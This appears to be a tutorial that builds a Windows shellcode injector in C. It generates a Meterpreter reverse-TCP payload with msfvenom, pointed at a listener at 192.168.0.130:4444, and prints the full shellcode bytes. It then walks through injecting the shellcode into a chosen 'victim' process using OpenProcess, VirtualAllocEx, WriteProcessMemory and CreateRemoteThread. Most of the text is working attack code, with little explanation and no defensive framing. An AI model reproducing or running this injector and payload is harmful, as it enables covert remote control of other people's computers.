```c
#define _CRT_SECURE_NO_WARNINGS

#include <Windows.h>
#include <stdio.h>
```

#define _CRT_SECURE_NO_WARNINGS

This supresses the warnings related to the use of certain C library functions that Microsoft consider unsafe.

CRT: C Runtime library

SECURE: Indicates that Microsoft encourages the use of safer versions of certain functions

NO_WARNINGS: Disables warnings that suggest using safer alternatives provided by Visual Studio, such as scanf_s instead of scanf.

Msfvenom is used to generate the payload.

```
msfvenom --arch x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.130 LPORT=4444 EXITFUNC=thread -f c
```

Paste the payload in C code.

```c
unsigned char payload[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x48\x31\xd2\x65\x48\x8b\x52\x60\x56\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20\x8b"
"\x42\x3c\x41\x51\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f"
"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0"
"\x74\x67\x48\x01\xd0\x8b\x48\x18\x50\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x56\x4d\x31\xc9\x48\xff\xc9\x41\x8b\x34\x88"
"\x48\x01\xd6\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1"
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8"
"\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41"
"\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83"
"\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00"
"\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49"
"\x89\xe5\x49\xbc\x02\x00\x11\x5c\xc0\xa8\xa8\x80\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5"
"\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b"
"\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31"
"\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41"
"\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58"
"\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5"
"\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00"
"\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58"
"\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00"
"\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68"
"\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba"
"\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9"
"\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68"
"\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f"
"\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49"
"\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48"
"\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\xbb\xe0\x1d"
"\x2a\x0a\x41\x89\xda\xff\xd5";
```

```
DWORD PID = NULL;
printf("Provide PID: ");
scanf("%d", &PID);
```

Type the Process ID of the victim system.

```
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if (hProcess == NULL) {
    printf("[-] Error OpenProcess");
    return 1;
}
```

If the process is not found this will return with error

```
LPVOID buffer = VirtualAllocEx(hProcess, NULL, sizeof(payload) + 1, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (buffer == NULL) {
    printf("[-] Error VirtualAllocEx");
    return 1;
}
```

This will allocate the Virtual Memory to the process

```
if (!WriteProcessMemory(hProcess, buffer, payload, sizeof(payload), NULL)) {
    printf("[-] Error WriteProcessMemory");
    return 1;
}
```

The buffer payload will be executed in the memory

```
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, 0, NULL);
```

This will create remote thread.

```
WaitForSingleObject(hThread, INFINITE);
```

Wait for Single object is used to wait for execution of hThread